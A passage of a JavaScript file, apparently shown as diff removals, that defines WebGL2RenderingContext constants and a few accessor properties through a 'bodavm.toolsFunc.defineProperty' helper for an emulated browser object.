enumerable:true, writable:false, value:37140}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", {configurable:false, enumerable:true, writable:false, value:37141}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", {configurable:false, enumerable:true, writable:false, value:37142}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", {configurable:false, enumerable:true, writable:false, value:37143}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", {configurable:false, enumerable:true, writable:false, value:37144}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", {configurable:false, enumerable:true, writable:false, value:37145}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", {configurable:false, enumerable:true, writable:false, value:37146}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", {configurable:false, enumerable:true, writable:false, value:37147}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", {configurable:false, enumerable:true, writable:false, value:37148}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", {configurable:false, enumerable:true, writable:false, value:37149}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", {configurable:false, enumerable:true, writable:false, value:35070}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", {configurable:false, enumerable:true, writable:false, value:35887}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", {configurable:false, enumerable:true, writable:false, value:36202}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", {configurable:false, enumerable:true, writable:false, value:35097}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", {configurable:false, enumerable:true, writable:false, value:36975}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:36255}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", {configurable:false, enumerable:true, writable:false, value:36386}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", {configurable:false, enumerable:true, writable:false, value:36387}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", {configurable:false, enumerable:true, writable:false, value:36388}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", {configurable:false, enumerable:true, writable:false, value:36389}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", {configurable:false, enumerable:true, writable:false, value:37167}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", {configurable:false, enumerable:true, writable:false, value:36203}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", {configurable:false, enumerable:true, writable:false, value:33503}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", {configurable:false, enumerable:true, writable:false, value:-1}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37447}); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferWidth", {configurable:true, enumerable:true, get:function drawingBufferWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferHeight", {configurable:true, enumerable:true, get:function drawingBufferHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawingBufferColorSpace", {configurable:true, enumerable:true, get:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_get", arguments)}, set:function drawingBufferColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawingBufferColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "unpackColorSpace", {configurable:true, enumerable:true, get:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_get", arguments)}, set:function unpackColorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "unpackColorSpace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:256},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:1024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_BUFFER_BIT", {configurable:false, enumerable:true, writable:false, value:16384},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POINTS", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINES", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_LOOP", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_STRIP", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLES", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_STRIP", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRIANGLE_FAN", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ZERO", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:768},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_COLOR", {configurable:false, enumerable:true, writable:false, value:769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DST_COLOR", {configurable:false, enumerable:true, writable:false, value:774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_DST_COLOR", {configurable:false, enumerable:true, writable:false, value:775},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRC_ALPHA_SATURATE", {configurable:false, enumerable:true, writable:false, value:776},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_ADD", {configurable:false, enumerable:true, writable:false, value:32774},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_RGB", {configurable:false, enumerable:true, writable:false, value:32777},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_EQUATION_ALPHA", {configurable:false, enumerable:true, writable:false, value:34877},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32778},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FUNC_REVERSE_SUBTRACT", {configurable:false, enumerable:true, writable:false, value:32779},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_RGB", {configurable:false, enumerable:true, writable:false, value:32968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_RGB", {configurable:false, enumerable:true, writable:false, value:32969},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_DST_ALPHA", {configurable:false, enumerable:true, writable:false, value:32970},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_SRC_ALPHA", {configurable:false, enumerable:true, writable:false, value:32971},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32769},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_COLOR", {configurable:false, enumerable:true, writable:false, value:32770},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32771},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ONE_MINUS_CONSTANT_ALPHA", {configurable:false, enumerable:true, writable:false, value:32772},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND_COLOR", {configurable:false, enumerable:true, writable:false, value:32773},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER", {configurable:false, enumerable:true, writable:false, value:34963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ELEMENT_ARRAY_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:34965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_DRAW", {configurable:false, enumerable:true, writable:false, value:35040},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35044},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_DRAW", {configurable:false, enumerable:true, writable:false, value:35048},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BUFFER_USAGE", {configurable:false, enumerable:true, writable:false, value:34661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_VERTEX_ATTRIB", {configurable:false, enumerable:true, writable:false, value:34342},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT", {configurable:false, enumerable:true, writable:false, value:1028},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BACK", {configurable:false, enumerable:true, writable:false, value:1029},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_AND_BACK", {configurable:false, enumerable:true, writable:false, value:1032},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D", {configurable:false, enumerable:true, writable:false, value:3553},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE", {configurable:false, enumerable:true, writable:false, value:2884},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLEND", {configurable:false, enumerable:true, writable:false, value:3042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DITHER", {configurable:false, enumerable:true, writable:false, value:3024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_TEST", {configurable:false, enumerable:true, writable:false, value:2960},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_TEST", {configurable:false, enumerable:true, writable:false, value:2929},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_TEST", {configurable:false, enumerable:true, writable:false, value:3089},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FILL", {configurable:false, enumerable:true, writable:false, value:32823},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_ALPHA_TO_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32926},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE", {configurable:false, enumerable:true, writable:false, value:32928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NO_ERROR", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_ENUM", {configurable:false, enumerable:true, writable:false, value:1280},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_VALUE", {configurable:false, enumerable:true, writable:false, value:1281},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_OPERATION", {configurable:false, enumerable:true, writable:false, value:1282},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OUT_OF_MEMORY", {configurable:false, enumerable:true, writable:false, value:1285},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CW", {configurable:false, enumerable:true, writable:false, value:2304},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CCW", {configurable:false, enumerable:true, writable:false, value:2305},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINE_WIDTH", {configurable:false, enumerable:true, writable:false, value:2849},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_POINT_SIZE_RANGE", {configurable:false, enumerable:true, writable:false, value:33901},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALIASED_LINE_WIDTH_RANGE", {configurable:false, enumerable:true, writable:false, value:33902},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CULL_FACE_MODE", {configurable:false, enumerable:true, writable:false, value:2885},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRONT_FACE", {configurable:false, enumerable:true, writable:false, value:2886},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_RANGE", {configurable:false, enumerable:true, writable:false, value:2928},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2931},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_FUNC", {configurable:false, enumerable:true, writable:false, value:2932},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:2961},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FUNC", {configurable:false, enumerable:true, writable:false, value:2962},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_FAIL", {configurable:false, enumerable:true, writable:false, value:2964},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:2965},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:2966},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_REF", {configurable:false, enumerable:true, writable:false, value:2967},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:2963},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:2968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FUNC", {configurable:false, enumerable:true, writable:false, value:34816},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_FAIL", {configurable:false, enumerable:true, writable:false, value:34817},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_FAIL", {configurable:false, enumerable:true, writable:false, value:34818},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_PASS_DEPTH_PASS", {configurable:false, enumerable:true, writable:false, value:34819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_REF", {configurable:false, enumerable:true, writable:false, value:36003},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_VALUE_MASK", {configurable:false, enumerable:true, writable:false, value:36004},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BACK_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:36005},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VIEWPORT", {configurable:false, enumerable:true, writable:false, value:2978},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SCISSOR_BOX", {configurable:false, enumerable:true, writable:false, value:3088},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_CLEAR_VALUE", {configurable:false, enumerable:true, writable:false, value:3106},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_WRITEMASK", {configurable:false, enumerable:true, writable:false, value:3107},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3317},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:3333},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:3379},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VIEWPORT_DIMS", {configurable:false, enumerable:true, writable:false, value:3386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SUBPIXEL_BITS", {configurable:false, enumerable:true, writable:false, value:3408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_BITS", {configurable:false, enumerable:true, writable:false, value:3410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREEN_BITS", {configurable:false, enumerable:true, writable:false, value:3411},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BLUE_BITS", {configurable:false, enumerable:true, writable:false, value:3412},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA_BITS", {configurable:false, enumerable:true, writable:false, value:3413},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_BITS", {configurable:false, enumerable:true, writable:false, value:3414},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_BITS", {configurable:false, enumerable:true, writable:false, value:3415},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_UNITS", {configurable:false, enumerable:true, writable:false, value:10752},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "POLYGON_OFFSET_FACTOR", {configurable:false, enumerable:true, writable:false, value:32824},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D", {configurable:false, enumerable:true, writable:false, value:32873},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_BUFFERS", {configurable:false, enumerable:true, writable:false, value:32936},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLES", {configurable:false, enumerable:true, writable:false, value:32937},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_VALUE", {configurable:false, enumerable:true, writable:false, value:32938},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLE_COVERAGE_INVERT", {configurable:false, enumerable:true, writable:false, value:32939},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPRESSED_TEXTURE_FORMATS", {configurable:false, enumerable:true, writable:false, value:34467},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DONT_CARE", {configurable:false, enumerable:true, writable:false, value:4352},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FASTEST", {configurable:false, enumerable:true, writable:false, value:4353},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NICEST", {configurable:false, enumerable:true, writable:false, value:4354},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GENERATE_MIPMAP_HINT", {configurable:false, enumerable:true, writable:false, value:33170},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BYTE", {configurable:false, enumerable:true, writable:false, value:5120},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_BYTE", {configurable:false, enumerable:true, writable:false, value:5121},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHORT", {configurable:false, enumerable:true, writable:false, value:5122},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT", {configurable:false, enumerable:true, writable:false, value:5123},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT", {configurable:false, enumerable:true, writable:false, value:5124},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT", {configurable:false, enumerable:true, writable:false, value:5125},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT", {configurable:false, enumerable:true, writable:false, value:5126},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT", {configurable:false, enumerable:true, writable:false, value:6402},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALPHA", {configurable:false, enumerable:true, writable:false, value:6406},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB", {configurable:false, enumerable:true, writable:false, value:6407},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA", {configurable:false, enumerable:true, writable:false, value:6408},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE", {configurable:false, enumerable:true, writable:false, value:6409},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LUMINANCE_ALPHA", {configurable:false, enumerable:true, writable:false, value:6410},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_4_4_4_4", {configurable:false, enumerable:true, writable:false, value:32819},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_5_5_1", {configurable:false, enumerable:true, writable:false, value:32820},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_SHORT_5_6_5", {configurable:false, enumerable:true, writable:false, value:33635},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35632},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35633},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:34921},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36347},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_VECTORS", {configurable:false, enumerable:true, writable:false, value:36348},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35661},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:35660},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_IMAGE_UNITS", {configurable:false, enumerable:true, writable:false, value:34930},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_VECTORS", {configurable:false, enumerable:true, writable:false, value:36349},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADER_TYPE", {configurable:false, enumerable:true, writable:false, value:35663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DELETE_STATUS", {configurable:false, enumerable:true, writable:false, value:35712},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LINK_STATUS", {configurable:false, enumerable:true, writable:false, value:35714},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VALIDATE_STATUS", {configurable:false, enumerable:true, writable:false, value:35715},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ATTACHED_SHADERS", {configurable:false, enumerable:true, writable:false, value:35717},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35718},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_ATTRIBUTES", {configurable:false, enumerable:true, writable:false, value:35721},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SHADING_LANGUAGE_VERSION", {configurable:false, enumerable:true, writable:false, value:35724},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_PROGRAM", {configurable:false, enumerable:true, writable:false, value:35725},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NEVER", {configurable:false, enumerable:true, writable:false, value:512},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LESS", {configurable:false, enumerable:true, writable:false, value:513},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "EQUAL", {configurable:false, enumerable:true, writable:false, value:514},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LEQUAL", {configurable:false, enumerable:true, writable:false, value:515},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GREATER", {configurable:false, enumerable:true, writable:false, value:516},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NOTEQUAL", {configurable:false, enumerable:true, writable:false, value:517},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "GEQUAL", {configurable:false, enumerable:true, writable:false, value:518},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALWAYS", {configurable:false, enumerable:true, writable:false, value:519},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "KEEP", {configurable:false, enumerable:true, writable:false, value:7680},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "REPLACE", {configurable:false, enumerable:true, writable:false, value:7681},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INCR", {configurable:false, enumerable:true, writable:false, value:7682},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DECR", {configurable:false, enumerable:true, writable:false, value:7683},'prototype'); 